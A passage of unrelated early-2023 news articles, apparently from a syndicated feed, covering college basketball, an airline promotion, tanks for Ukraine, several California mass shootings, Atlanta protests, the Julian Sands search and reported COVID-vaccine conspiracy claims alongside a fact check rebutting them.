I felt like I didnt get respect going there, he said. I felt like they werent truthful of who they were going to be. I felt like here it was a better opportunity.

Jones and his wife, Mildred Asberry, immediately noticed a change in their son.

He was the farthest from home he had ever been. He started answering the phone faster. He talked longer and more openly with his family. He became more independent.

And he matured.

Look, dudes got some muscles, Jones told his wife last summer.

Asberry immediately made an impact with his defense. His shooting ability has been needed as well.

And though he missed two games in December with an illness, hes quickly made his presence felt in Big 12 play. Hes averaged 8.3 points (fourth on the team) and 4.6 rebounds (second). Hes also had just six turnovers.

More:Woody Newton had a career night for Oklahoma State. His late father knew it was coming.

Lately, hes been coming into his own.

He inbounded a pass off the back of OUs Grant Sherfield late in last weeks Bedlam win. He also had a massive alley-oop dunk against the Sooners. Hes been unafraid to take big shots in big moments. Hes gotten more vocal as a leader.

His aggressiveness sometimes has hurt us, whether it be not really focusing on executing our plays or fouling unnecessarily too far away from the basket, Boynton said. But theres got to be a certain level of courage that you got to play this game with, and he certainly plays with a great deal of courage.

I think part of it comes from hes been really, really well coached. Hes got sound fundamentals as well.

Asberry is ready to show that to his hometown.

He played Texas once at Texas State, getting blown out in Austin. This time, he has a chance to win.

Its going to be fun mainly because I got recruited by them too out of the portal, Asberry said. That and its always good being home.

Jacob Unruh covers college sports for The Oklahoman. You can send your story ideas to him at junruh@oklahoman.com or on Twitter at @jacobunruh. Support his work and that of other Oklahoman journalists by purchasing a digital subscription today.

How to watch Oklahoma State vs. Texas

TIPOFF: 8 p.m. Tuesday at Moody Center in Austin, Texas (LHN)

This article originally appeared on Oklahoman: Oklahoma State's Caleb Asberry feels at home with Cowboys in Big 12
SANTO DOMINGO, Dominican Republic, December 27, 2022--(BUSINESS WIRE)--Arajet, the low-price Dominican airline launched a promotion to visit the Dominican Republic this New Year's Eve departing from Colombia, Mexico and Ecuador for US$9.99, taxes included. The promotion began last December 22 and is valid until December 31 from Mexico City, Cancun, Cali, Barranquilla, Cartagena, Medellin, Bogota, Quito and Guayaquil.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20221227005060/en/

(Photo: Business Wire)

The promotion offers departure tickets from the destinations in North and South America with taxes, fees and fuel included in the Smart Fare, which includes a personal item such as a travel backpack and can be customized according to the passenger's needs by adding one or two checked bags.

"We want more Latin Americans to celebrate this New Year's Eve in the Dominican Republic," said Victor Pacheco Mendez, CEO, and founder of Arajet. "From our hub at Las Americas International Airport in Santo Domingo, our passengers can enjoy dream destinations and beaches just a few hours away, such as Puerto Plata, Cabarete, Sozua, Samana, Bayahibe, Punta Cana, and the offer of more than 83,000 hotel rooms that exist in our country for all budgets."

The Dominican Republic is the second largest and most diverse country in the Caribbean with more than 1,600 kilometers of coastline and 400 kilometers of the best beaches in the world. In fact, it was the only destination that registered a positive increase in tourist arrivals this year with 6 million 500 thousand, exceeding the pre-pandemic levels of 2019 by 5%. "Mexicans, Colombians and Ecuadorians who visit Santo Domingo will be able to rest in a city a port with a spectacular tropical climate, try the gastronomic wonders in hundreds of restaurants in the city and visit the oldest colonial ruins in America," concluded Pacheco.

Arajet seeks to energize and boost the commercial aviation industry, democratizing air travel and making it possible for more and more people to fly and enjoy the wonders of the Dominican Republic in the most modern aircraft on the market that consume 14% less fuel than conventional single aisle aircraft, and produce 40% less noise pollution per trip.

Story continues

About Arajet

Arajet is the first low-fare airline in the Caribbean region and started operations in September 2022 from its base at Las Americas Airport in Santo Domingo, under its airline operator certificate (AOC) from the Dominican Republic. Arajet will operate a new fleet of Boeing 737MAX-8 aircraft that provide safe and affordable travel to and from the Dominican Republic to several destinations in North, Central and South America, and the Caribbean region. For more information, visit www.Arajet.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20221227005060/en/

Contacts

Media:

Geraldine Villasmil  Communications Manager

Geraldine.Villasmil@arajet.com
The Biden administration is poised to approve the transfer of M1 Abrams main battle tanks to Ukraine amid growing pressure to equip Kyiv with the heavy combat vehicles.

An announcement on the transfer could come as soon as Wednesday, according to U.S. officials who spoke to the Associated Press and other outlets.

Lawmakers on both sides of the aisle cheered Bidens apparent U-turn, coming after a standoff between the U.S. and Germany over who would take the first step.

Rep. Seth Moulton (D-Mass.), a former Marine, told The Hill that an announcement sending over Abrams tanks would be a great first step, but the decision should have been made last week.

We always seem to do the right thing at the end of the day, but I dont understand why it takes so long to do it, he said. I think this is pretty straightforward.

The Abrams tanks would likely not arrive in Ukraine for months, although details are still being discussed, including how many of the tanks would be sent. At a press briefing on Tuesday, the Pentagon declined to discuss the reports.

A transfer of the battle tanks is likely to open up a direct channel for Germany to supply Kyiv with its more manageable Leopard 2 tanks. Berlin has also been under intense pressure to ship its Leopards to Kyiv or approve a transfer of the tanks from several European allies requesting the go-ahead.

Germany is also prepared to approve the transfer of Polands Leopard tanks to Ukraine on Wednesday, timed with the U.S. announcement, according to the officials who spoke to the AP.

The apparent breakthrough comes as calls to send over the M1 Abrams tanks increased this week on Capitol Hill.

Sen. Lindsey Graham (R-S.C.) joined Democratic Sens. Richard Blumenthal (Conn.) and Sheldon Whitehouse (R.I.) at a press conference on Tuesday calling for the transfer of the Abrams tanks.

The fact that the tanks are going to flow from Germany, and hopefully from America, to me is something to celebrate, Graham said. Its an acknowledgement that the goal is now to be with Ukraine until every last Russian soldier is evicted from Ukrainian soil.

Story continues

Ukraine, which is expecting a Russian offensive in the coming months, has requested heavier combat vehicles and modern tanks for months. Kyiv has only used Soviet-era tanks in the war.

Blumenthal, who recently returned from a trip to Ukraine, said he witnessed firsthand the devastation caused by Russian strikes.

But the senator also praised Kyiv for its successes on the battlefield and said the Ukrainians can win if they have the tools that are necessary.

It is more than just tanks, he said. Its also long-range artillery as well as more HIMARS. It is defensive weaponry like the Patriots.  [Ukraine] needs everything it needs to win now. There is an urgency to now. Time is not on our side.

After the U.K. announced it would ship Challenger 2 tanks earlier this month, speculation mounted over whether Washington and Berlin would follow suit.

The U.S. announced last week a $2.5 billion package of security assistance for Ukraine, but chose not to include the prized M1 Abrams battle tanks. On Friday, a meeting of about 50 defense leaders from across the world ended without an agreement to send over tanks.

Defense Secretary Lloyd Austin said last week the Abrams, which require jet fuel, would be difficult to maintain on the battlefield.

But some lawmakers this week began pushing for Biden to send at least a few tanks to clear the way for Germany, after Chancellor Olaf Scholz said his country would not go it alone.

Rep. Michael McCaul (R-Texas) told CNNs Dana Bash on Sunday that NATO has to share the burden on supplying Kyiv with the weapons it needs.

All we have to do is send enough to unleash what Germany has and what the ten other countries in NATO have, McCaul said.

That was echoed by Sen. Chris Coons (D-Del.), who said he supported sending some Abrams tanks in order to unlock the Leopard tanks on ABCs This Week on Sunday.

I respect that our military leaders think the Abrams is too sophisticated, too expensive a platform to be as useful as the Leopards, he said. But we need to continue to work with our close allies and to move forward in lock step.

For the latest news, weather, sports, and streaming video, head to The Hill.
Cincinnati Children's Hospital Medical Center in Avondale.

The distress of having a child with a congenital heart defect starts at the point of diagnosis and continues through life. Even so, specialized mental health care for the kids and their families is scarce in the United States.

As of Tuesday, Cincinnati Children's Hospital Medical Center is offering that specialized care for infants and children with congenital heart defects and for their families, including parents and siblings and even prospective parents who receive a prenatal cardiac diagnosis. The Heart and Mind Wellbeing Center at the hospital is the first of its kind in the United States, hospital officials said.

Cincinnati Children's started the center as a way to provide whole care aligned with the American Heart Association's scientific statement in 2022 on an unmet need to for mental health care in this population.

Dr. Nadine Kasparian, a psychologist at Cincinnati Children's and director of the new center, was among experts who were involved in research that shows that people with congenital heart defects and their families struggle with mental health.

Kids get cardiac arrest, too.A critical need to be prepared: Cardiac arrests at schools jeopardize kids' lives

She said the researchers charted "enormous evidence" of the need for mental health care among this population across a lifetime.

"We make a really strong argument for the need to integrate psychological services and mental health care," Kasparian said.

She said the mental health care is imperative, noting:

About 40,000 babies a year in the United States are born with congenital heart defects.

Congenital heart defects make up the most common birth defects in the United States.

About 1 in 4 children with these heart defects experiences "intense fear, worry and sadness."

About 4 in 5 parents report severe psychological distress at the time of a child's discharge after cardiac surgery.

About one-fourth undergo at least one surgery in their first year of life, but even with surgery, "there is still no cure for congenital heart disease."

Story continues

Kasparian said the center will help patients from birth throughout their lives, using research-proven treatments focused on enhancing both their physical and mental health.

More:'We want every baby to go home.' Cardiac arrests plummet with Cincinnati Children's plan

The American Heart Association hopes the evidence that people with congenital heart defects face a higher risk for anxiety and mood disorders will spur new standards for integrating that care into congenital heart centers.

Kasparian said that by providing the care routinely to those with heart defects and their families, the new Heart and Mind Wellbeing Center normalizes mental health care, destigmatizing it.

This article originally appeared on Cincinnati Enquirer: First integrated mental health, congenital heart care center opens
Coventry police say they seized 195 counterfeit $20 bills in the arrest of three men from out of state.

The Coventry seized $3,900 in counterfeit bills and arrested three out-of-state men Friday after receiving a report of suspected counterfeit bills being passed at Walmart, the police said.

The suspects, two from Brooklyn, New York, and one from Hartford, Connecticut, "allegedly committed similar acts" in East Greenwich just before arriving in Coventry and in Virginia before their trip to Rhode Island, the police said.

More:Crime in Providence: Is the city safer than ever before? What the numbers tell us

While the police were heading to the Walmart store at Centre of New England Boulevard at about 2:36 p.m. Friday to investigate, they were told that three suspects had left the store in a vehicle, the police said in a news release.

The police intercepted the vehicle on New London Turnpike and took the three men into custody, the police said.

The police say they recovered 195 counterfeit $20 bills from the three suspects, ages 22, 28 and 30.

The men tried using the bills to buy electronics and also tried buying reloadable debit cards, Coventry Detective Lt. Ryan DeSisto said.

Each was charged with possession of counterfeit bills and conspiracy. They were held over the weekend and appeared Monday in District Court, Warwick, where bail was set for each at $10,000 with surety.

This article originally appeared on The Providence Journal: Coventry police arrest 3, seize $3,900 in counterfeit bills
Photo Illustration by The Daily Beast / Getty / AP

Many of Donald Trumps fiercest supporters are convinced MAGA influencer Rochelle Silk Richardsonhalf of the Diamond and Silk duoattempted to send the former president a secret message during Saturdays ceremony to celebrate her sisters life.

And what supposedly was that covert message that Silk floated while speaking at Lynnette Diamond Hardaways funeral? A plea for Trump to stop pushing COVID-19 vaccinations.

In her nearly hour-long speech, Silk shared what occurred during Diamonds final minutes with around 150 attendees at a theater in Fayetteville, North Carolina.

She said to me, I cant breathe. It was something out of nowhere and no warning, Silk recalled. Each breath was less and less and less.

What I want to say to everybody is dont you dare call me a conspiracy theorist. Because I saw it happen. I saw how it happened. I was there when it happened, and it happened suddenly, the pro-Trump pundit continued while the ex-president was seated on stage.

Silk called for an investigation into why people are falling dead suddenly, which appeared to be a nod to the increasingly popular phrase died suddenly on the far right that has to do with unsubstantiated medical claims of those that take the COVID vaccine falling dead.

Since Silks suggestion that Diamond died due to taking a COVID-19 vaccine, far-right pundits have reignited their war against Trump over his push to produce the shot en masse.

The message is simple. Nobody needs to overthink this. The injections and the virus are weapons of biowarfare, and its time to indict, try and fry those responsible for the deployment of these weapons of mass destruction, MAGA-loving radio host Stew Peters told The Daily Beast.

Story continues

Notably, such a suggestion would mean Trump is also partially to blame, which wasnt lost on Peters.

If Trumps ego wont allow him to admit this out loud, hes equally as complicit as Tony Mengele Fauci, Peters said.

Everyone knows Diamond and Silk were some of Donald Trumps biggest supporters. And everyone knows Trump was pushing this bioweapon on the entire country, he concluded, insisting Silks plea wasn't a cryptic or a secret message.

Other right-wing pundits jumped to medical conclusions while also taking their digs at the former president.

Silk reveals Diamond died suddenly from what appears to be a blood clot in her lung, far-right Pizzagate truther Jack Posobiec said following the memorial. Silk stood right in front of Trump and told him the vaccine killed Diamond, and there needs to be an investigation into why people are suddenly dropping dead, he added.

Diamond of Pro-Trump Duo Diamond and Silk Died of Heart Disease: Report

No autopsy was performed on Diamond, and Silk has not clarified if her sistera staunch anti-vaxxerever even took the COVID vaccine. The Associated Press reported Monday evening that Diamonds death certificate said her cause of death was heart disease stemming from chronic high blood pressure.

Still, that hasnt stopped leading far-right anti-vaccine advocate Christopher Key from claiming that Diamond had taken the vaccine, and we know [that] for a fact, suggesting the pro-Trump pundit couldve died due to myocarditis or a heart attack.

Trump is an idiot for bringing this bio-weapon to market, Key told The Daily Beast, he will have killed a billion people.

(Roughly two years into the United States vaccination program, the COVID-19 vaccination is credited with saving 3 million lives and preventing 18 million hospitalizations. Despite Keys absurd medical claims, the science has been clear: There is little to no evidence to support the theory that people are dying from taking the vaccine.)

MAGA Rep. Marjorie Taylor Greene (R-GA) also responded to Silks remarks, calling for an IMMEDIATE investigation into Covid vaccines and the dramatic increase of people dying suddenly!

Diamond or Silk (dont worry, nobody knows which is which) just died from the vaccine, far-right provocateur Milo Yiannopoulos wrote on Telegram. She was murdered by pharmaceutical companies and Donald Trump.

But that was only the tip of the iceberg, when it came to the outpouring on Telegram, where even more far-fetched theories about Diamonds death bounced around. (One popular theory centered on an old Diamond and Silk show clip from mid-December, where Diamond said she smelled something that had purportedly been sprayed in the air, leaving her short of breath.)

Are Americans Being Poisoned?: Diamonds Memorial Goes Off the Rails

There will be no way to stop this from happening, former Newsmax host Grant Stinchfield tweeted. 82% of America fell for the mass vax attack on America.

The first batch of COVID vaccine was developed under the guidance of the Trump administration, and Trump has advocated for people to get vaccinated.

Silk could not be reached by The Daily Beast for comment, while Diamond and Silks executive director Tressie Ham also didnt return a request for comment.

As for Trump, he appears not to be backing down from his administrations role in developing and distributing COVID-19 vaccinations.

After China unleashed this deadly virus onto the rest of the world, President Trump and his administration worked tirelessly to secure medical equipment to save the lives of Americans who were infected, Trump campaign spokesperson Steven Cheung told The Daily Beast on Monday. Operation Warp Speed was a once-in-a-lifetime initiative that gave people the option of utilizing therapeutics if they wished to do so.

Still, Diamonds deathand Silks later suggestion that her sister died due to the vaccineshas renewed frustration over Trump not backing away and disavowing the vaccines. But just like previous times, Trump isnt backing down.

Unfortunately for Trump, neither is the anti-vax crowd.

If Trump doesnt change his position on the deadly vaccines that have killed thousands of people, failed far-right Republican Senate candidate Lauren Witzke told The Daily Beast, he will lose his presidential run in 2024. Thats just a fact.

Read more at The Daily Beast.

Get the Daily Beast's biggest scoops and scandals delivered right to your inbox. Sign up now.

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Donald Trump was the early bird in the 2024 presidential race and after some initial stumbling, hes ready to ramp up his strategy. Besides reportedly changing up his Truth Social situation, the former president is ready to rally  yet it seems some of his supporters are not.

Hes heading to South Carolina for his first campaign event next week, but according to The Washington Post, Donald Trump is struggling to drum up support. His aides have made pleading phone calls to get folks to not only attend the rally, but endorse the former president. However, hes running up against other South Carolina Republicans like former governor Nikki Haley and Sen. Tim Scott, who are possibly mounting campaigns themselves. The people who were once his supporters are now going to be his opponents.

More from SheKnows

Get ready because a Donald Trump Twitter return is coming. https://t.co/5KoFDuIldi  SheKnows (@SheKnows) January 23, 2023

Nikki Haley is probably our first South Carolinian since we voted for George Washington that has really had a chance of being president of the United States, former South Carolina GOP chair Katon Dawson told The Washington Post. And I think the Trump folks are going to run into that history. Evangelical leader Dave Wilson believes there is more than a little bit of softening for support when it comes to former president, especially since he only made it four years in office  the religious groups want eight more years [to] create momentum. And of course, there are many just waiting for Florida Gov. Ron DeSantis to throw his hat in the ring.

Donald Trump is expected to have Sen. Lindsey O. Graham and South Carolina Gov. Henry McMaster by his side, but there is an ominous warning from an anonymous state lawmaker. The Trump campaign is trying to consolidate support. But I dont think it is going to be as quick as they think, they concluded. Right now my constituency is as excited about Ron DeSantis as Donald Trump, if not more.

Story continues

Click here to read the full article.

Before you go, click here to see every time Ivanka Trump has tried to distance herself from the Trump family:

Ivanka Trump

Launch Gallery: 10 Times Donald Trump Has Talked About Women's Looks, Because Apparently Mar-a-Lago Has No Mirrors

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Elaine Harris Spearman

Without Walt Cunningham, there would be no moon landing. So says Buzz Aldrin, the lunar module pilot for the Apollo 11 mission, the first in which men walked on the moon.

His dear friend died at the age of 90 on Jan. 3, and was the lunar module pilot for Apollo 7, the first successful manned Apollo mission.

Cunningham was part of the Apollo 1 accident review board and helped redesign the Apollo capsule following the tragic fire in 1967 that killed three astronauts.

Aldrin talked about how he and Cunningham got into the NASA astronauts' program in an article for the Washington Post.

Cunningham was studying physics, engineering and working hard. His hallmark was gratitude and keeping his ego in check. He suggested design changes, rethought the Apollo capsules environmental control system and re-engineered the spacecraft for safety.

The Walt Cunninghams and Buzz Aldrins may be sitting in todays classrooms across a large swath of Northeast Alabama.

The proposed North Alabama Challenger Learning Center, for which a task force is trying to marshal support and funds to locate in Gadsden, offers an exciting opportunity to change this state's future.

Two human dynamos are the tailwinds for the proposed center that will offer opportunities to prepare the workforce for current and future businesses in Northeast Alabama.

Martha Lavender and Theresa Rheas unwavering commitment to locating the Challenger Center in Gadsden is at the heart of this great possibility. There are others involved on the task force; all are committed to excellence in education and the development of opportunities for young people.

What is a Challenger Learning Center? It is a simulated, fully immersive space themed STEM (science, technology, engineering and math) center. It uses space-themed simulated learning and role-playing strategies developed by NASA to help students bring their classroom studies to life and cultivate skills needed for future success such as problem solving, critical thinking, communication, teamwork and collaboration.

Story continues

It helps shift self-identity from I dont like science, to I like science, I can do science and I want to learn more about science.

The program will impact fifth- through eighth-grade students in Northeast Alabama. The Gadsden base camp area includes Blount, Calhoun, Cherokee, Dekalb, Etowah, Marshall and St. Clair counties. The Northeast Alabama school population for grades 5-12 is more than 62,000 students.

There have been meetings and presentations since late 2022. District representatives, legislators, school superintendents, area mayors, Gov. Kay Ivey and her staff and critical stakeholders have all been involved in coordinated presentations.

John Langlois, Riverview CEO, actually participated in a Challenger Center program and gave participants a first-hand view.

The closest Challenger Center is located in Chattanooga, Tennessee. Many task force members made a fall trip for a hands-on presentation and tour. The excitement was palpable.

The first Challenger Center opened in 1988. The whole idea rests on equity in education and leveling the playing field.

We rarely hear young people making career choices of scientist, astronaut, technological advancement or mathematically related fields.

While all career choices have benefits and burdens, the jobs of the future appear to dictate a STEM education for young people to be successful.

Recruitment of business and industry to Alabama requires a prepared workforce, and a future pool of high school and college graduates ready to enter the workforce with the necessary skills for industry and business.

There is more to come as the Challenger Center project continues to develop and funding sources become more tangible.

Elaine Harris Spearman, Esq., a Gadsden native, is an attorney and is the retired legal advisor to the comptroller of the City of St. Louis. The opinions reflected are her own.

This article originally appeared on The Gadsden Times: Elaine Harris Spearman looks at proposed Challenger Learning Center
The claim: CDC confirmed at least 118,000 have died suddenly since the rollout of COVID-19 vaccines

A Dec. 11, 2022, Instagram post (direct link, archived link) shows a headline purporting to report on a CDC admission.

"CDC quietly confirms at least 118k Children & Young Adults have Died Suddenly in the USA since the roll-out of the COVID Vaccines," reads the headline from the The Expose, a website that has previously published misinformation.

The Instagram post is a screenshot of a Dec. 10, 2022, tweet that was retweeted more than 1,000 times in a month. The Instagram version generated over 4,000 likes in less than a month.

Follow us on Facebook! Like our page to get updates throughout the day on our latest debunks

Our rating: False

The CDC has not confirmed at least 118,000 people have died suddenly since 2020, and officials say that's not an accurate description of what happened. While there have been over 100,000 excess deaths during the COVID-19 pandemic, experts say a majority of these deaths are related to COVID-19 infections. There is no evidence these deaths were "sudden" or linked to the COVID-19 vaccines.

Article misinterprets CDC data

The Expose article bases its claim on data collected by the Organization for Economic Co-operation and Development from publicly available CDC reports. The reports calculate estimated excess deaths potentially related to the COVID-19 virus by comparing death data in pre-pandemic years to during the pandemic.

The Nov. 30, 2022, Expose article claims that data shows six-figure tallies of sudden deaths, but those are not at all the same thing as excess deaths.

The CDC defines excess deaths as "the difference between the observed numbers of deaths in specific time periods and expected numbers of deaths in the same time periods." Sudden deaths are unexpected, fatal and sudden events that occur in individuals whose symptoms were not predictable.

There is no way to determine from the excess death data whether people counted as excess deaths died suddenly or not, Bert Kelly, a CDC spokesperson, told USA TODAY in an email.

Story continues

The article claims there were 118,000 more deaths in the 0-44 age range from December 2020 to October 2022 than there were on average from 2015 to 2019. It then asserts without proof that these deaths were "most likely due to the COVID-19 injections."

It is unclear whether the 118,000 figure is accurate as CDC data is constantly being updated, Miguel Gorman, a spokesperson for the Organization for Economic Co-operation and Development, told USA TODAY. But as of Jan. 4, there were nearly 124,000 excess deaths in the 0-44 age range between December 2020 and October 2022, he said.

The article's analysis linking the deaths to the vaccine, however, is wrong, Kelly said.

The excess deaths are largely explained by increases in COVID-19 mortality and other leading causes of death associated either directly or indirectly with the pandemic, Kelly said. Other leading causes of death for which we see excess deaths include influenza and pneumonia, circulatory diseases, Alzheimers disease, and dementia and diabetes.

Fact check: False claim COVID-19 vaccines caused 1.1 million deaths

Nicholas Jewell, a biostatistics professor at the University of California, agreed.

Even if the 118K figure is estimated effectively, it is likely that a significant fraction of these deaths can be directly attributed to COVID-19 infections, Jewell said. In addition, 2022, for example, has been a particularly bad year for other respiratory infections in young people such as influenza and RSV. Perhaps some other deaths are due to strain on health care systems caused by the burden of Covid-19 infections.

Numerous clinical studies and CDC reports have also demonstrated the safety and effectiveness of the vaccine in both adults and children.

"Death as an adverse event attributed to the vaccine is not common or even occurring with such frequency" that it would be mentioned to patients as a potential outcome, Dr. Richard Martinello, an infectious disease specialist at Yale University, told USA TODAY in an email.

USA TODAY previously debunked a similar claim that COVID-19 vaccines were responsible for 1.1 million excess deaths in the US.

USA TODAY reached out to The Expose and the social media users who shared the claim for comment.

The Associated Press and Reuters also debunked this claim.

Our fact-check sources:

Thank you for supporting our journalism. You can subscribe to our print edition, ad-free app or electronic newspaper replica here.

Our fact-check work is supported in part by a grant from Facebook.

This article originally appeared on USA TODAY: Fact check: Post wrongly links excess deaths with COVID-19 vaccines
A disgruntled mushroom farm worker, 67, has been arrested for killing seven coworkers in a mass shooting in Half Moon Bay  leaving California reeling from its third mass shooting in as many days.

Chunli Zhao, who worked for decades at one of the two sites where the shooting unfolded, was arrested on Monday afternoon after he was spotted sitting in his car outside a local sheriffs office.

The mass shooting unfolded just before 2.30pm on Monday, with seven victims killed across two agricultural business locations  a mushroom farm and a trucking facility.

The gunman shot dead four victims and wounded a fifth at the Mountain Mushroom Farm, and shot another three victims dead at the Rice Trucking-Soil Farm located around two miles away, according to authorities. The eighth victim was airlifted to hospital.

Investigators are still working to determine which shooting took place first.

The horror attack is believed to have been witnessed by many children, as many farm workers live on site with their families.

San Mateo County Sheriff Christina Corpus said in a press conference that Mr Zhao, who had worked at the mushroom farm for decades, was found around two hours later sitting in his car in the parking lot of a sheriffs substation.

Dramatic footage shows the suspect being wrestled to the ground as armed officers took him into custody.

The video, captured by Half Moon Bay resident Kati McHugh, shows three officers approaching a parked car with drawn weapons. The suspect then gets out of the car as officers pull him to the ground, handcuff and lead him away.

A semi-automatic handgun believed to have been used in the mass shooting was found inside his car, officials said.

Police investigate the scene of a mass shooting in Half Moon Bay (Bay Area News Group 2022)

The sheriff said that they are working on the belief that the suspect had gone to the police station to turn himself in, though this is yet to be confirmed. Mr Zhao is said to be fully cooperating with law enforcement.

The motive for the attack remains unclear but Mr Zhao and the victims all worked at local businesses.

Story continues

San Mateo County Board of Supervisors President Dave Pine told local outlet KRON4 that Mr Zhao was a disgruntled worker at the farm but gave no further details.

The victims identities have not been released and it is unclear if they were targeted or shot at random.

This kind of shooting is horrific, said the sheriff.

Its a tragedy that we hear about far too often but today has hit home here in San Mateo County, she said during a news conference Monday night.

Photos from Kati McHugh, who parked right next to the shooting suspect and saw police take him down. She said she was amazed at how quickly everything happened. Too close for comfort, she said. Heres video of what she saw: pic.twitter.com/SmtUBv5rR4  Aldo Toledo (@aldot29) January 24, 2023

Both the shootings took place on the outskirts of Half Moon Bay, a city about 30 miles south of San Francisco.

Gun violence has come to our district today and I will do whatever I can to support the San Mateo County Sheriffs Department and Half Moon Bay city officials during this tragic event, California state senator Josh Becker wrote on Twitter on Monday.

We will continue to monitor this situation. My thoughts go out to all affected.

This is really a tragedy in light of whats happened, San Mateo County Supervisor told ABC7. This is an incident were all shocked about.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay.



Tragedy upon tragedy.  Gavin Newsom (@GavinNewsom) January 24, 2023

California Governor Gavin Newsom was in Monterey Park meeting with the victims of Saturdays mass shooting when he learned about the shooting at Half Moon Bay.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy, he tweeted.

The Half Moon Bay area shooting comes on the heels of a mass shooting over the weekend in Southern California, where 11 were killed and numerous injured during a Lunar New Year celebrations outside of Los Angeles.

On Saturday night, thousands in the Asian-American community had gathered in Monterey Park to celebrate the Chinese Lunar New Year.

Hours later, 72-year-old gunman Huu Can Tran entered the Star Ballroom Dance Studio in Monterey Park and opened fire.

Eleven people were killed in the attack, with the death toll rising from 10 on Monday when another victim died from their injuries.

Tran then drove to a second dance studio  Lai Lai Ballroom in nearby Alhambra  where a hero worker managed to wrestle a gun away from him.

The gunman then fled the scene and no one was injured in the second incident.

Map showing locations of Star Dance Studio, where gunman Huu Can Tran shot dead 10 people in Monterey Park on Saturday; the Lai Lai Ballroom, where he was disarmed by members of the public; and Torrance, where his van was stopped by police (Datawrapper)

A huge manhunt was launched to track down the gunman, culminating around 12 hours later with a police standoff in Torrance, about 30 miles from Monterey Park.

Tran died from a self-inflicted gunshot wound in his white van.

The motive for that attack remains unclear but it has emerged that Tran was paranoid that his family had tried to poison him decades ago and that had gone to police with the allegations just weeks before he going on the shooting rampage.

Hemet Police revealed on Monday that Tran, 72, had visited the police department twice in early January  once on 7 January and then again on 9 January  alleging past fraud, theft, and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago.

The gunman told police he would return with documentation to prove his allegations but he never returned.

Tran met his former wife at the Star Ballroom Dance Studio. The pair divorced in 2006.

Hours after the Half Moon Bay shooting, a third mass shooting unfolded at a gas station in Oakland where a teenager was killed and seven other victims injured.

The shooting unfolded just after 6pm on Monday evening at a Valera gas station along Seminary Avenue and Macarthur Blvd, according to the Oakland Police Department (OPD).

Law enforcement responded to the scene after being alerted to a shooting through ShotSpotter activity.

When officers arrived on the scene, there were no victims in sight  but shell casings left behind indicated what had unfolded. Multiple victims suffering gunshot wounds had already self-transported to several area hospitals, OPD said.

At least eight people were shot in the incident, with one victim  identified by his family as 18-year-old Mario Navarro  killed.

The gas station in Oakland where the shooting unfolded on Monday (Fox2)

The other seven were in stable condition and are expected to survive.

Police have not confirmed what may have led up to the shooting but said that the investigation so far shows that several people may have exchanged gunfire.

Witnesses told local outlet KTVU that the shooting broke out during the filming of a music video.

Devastated family members of the teenage victim were seen breaking down outside Highland Hospital after learning that Navarro  who graduated from high school this year  had died from his injuries.

Oakland Police have not said if any arrests have been made or who they may be seeking as a suspect.

Investigators were spotted gathering evidence from two cars thought to have driven victims to hospital, KTVU reported.

Now, California is grappling with its third mass shooting in just three days.
Some of Georgias most prominent leaders are condemning fiery protests in the streets of downtown Atlanta over the weekend.

Channel 2s Richard Elliot spoke exclusively with Georgia Attorney General Chris Carr on Monday.

Carr says that, under Georgia law, his office will prosecute the protesters arrested and charged with domestic terrorism after two violent confrontations with authorities.

Last week, authorities were clearing protesters from the forest where they had been living for months in an attempt to stop an APD training facility from being built. Thats when the GBI says Manuel Teran, one of the protesters, shot a Georgia State Patrol trooper. Teran was killed by return fire.

[DOWNLOAD: Free WSB-TV News app for alerts as news breaks]

Fellow protesters protested Terans death on Saturday evening in downtown Atlanta. What started as a peaceful protest and march soon devolved into chaos when protesters set a police cruiser on fire and started smashing the windows of various businesses.

Seven people were arrested on Wednesday and another six were arrested during Saturdays violence. In December, six people were arrested at the site of the proposed training center.

One of those arrested on Saturday night, Francis Carroll, was also one of those arrested in December. He was out on bond at the time of his second domestic terrorism arrest.

Its frustrating when you see an individual who was arrested in December, who was given bond, who we fought against bond, that was arrested again Saturday night, thats incredibly frustrating to law enforcement, to our prosecutors. That being said, thats somebody elses job, Carr said.

RELATED STORIES:

Carr says that his office is prepared to prosecute all of them.

Story continues

Democratic state senator Elena Parent told Elliot she condemns the acts of violence.

We applaud the Atlanta police who shut down the mob over the weekend quickly and arrested the perpetrators, Parent said. I am grateful that many of us on both sides of the political aisle agree that violence is not the answer to anger or frustration.

State law enforcement officials will meet later this week to find better ways to secure the site of the training facility in DeKalb County.

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IN RELATED NEWS:
Julian Sandss family has thanked California authorities for their heroic efforts in the search for the missing British actor.

Our heartfelt thanks to the compassionate members of the San Bernardino County Sheriffs Department who are coordinating the search for our beloved Julian, not least the heroic search teams listed below who are braving difficult conditions on the ground and in the air to bring Julian home, the statement read.

The search for the Warlock star has entered its 11th day amid a warning of strong winds and gusts of up to 62 to 67mph.

On Monday 23 January, the National Weather Service reported high winds affecting the Santa Ana mountain region and San Bernandino, close to the San Gabriel mountains where Sands is believed to have gone missing.

An alert warned of possible power outages, travel disruption and a risk of falling trees: The strongest winds will be along the south-facing slopes and foothill areas, below the Morongo Pass, and through and below the Santa Ana Mountain canyons, the report said.

Last week, ground crews were forced to halt the search for Sands due to the avalanche risk in the area.

Key points

Sands family issues statement thanking authorities for search effort

Julian Sands: A timeline of missing actors disappearance

Is the climate crisis behind a string of California hiker tragedies?

The sheriff departments update about the search

Sands family have shared a statement thanking authorities for the heroic search effort, which is still ongoing.

05:30 , Peony Hirwani

Our heartfelt thanks to the compassionate members of the San Bernardino County Sheriffs Department who are coordinating the search for our beloved Julian, not least the heroic search teams listed below who are braving difficult conditions on the ground and in the air to bring Julian home, it read.

At least 19 people killed in California storms

10:49 , Peony Hirwani

California has been hit by a string of violent winter storms that have brought flooding and major snowfall, prompting power cuts and evacuations and leading to the deaths of at least 19 people.

Story continues

According to the sheriffs department, it has launched 14 search and rescue missions in the Mount Baldy area alone over the past month, with two hikers dying on the mountain.

In addition to Julian Sands, rescuers in Los Angeles county are also currently searching the San Gabriel range for missing 61-year-old hiker Robert Gregory.

10:09 , Peony Hirwani

Air search continues for missing British actor in California.

Julian Sands: Air search continues for missing British actor in California

Frank Marshall sends wishes to Julian Sandss family

09:29 , Peony Hirwani

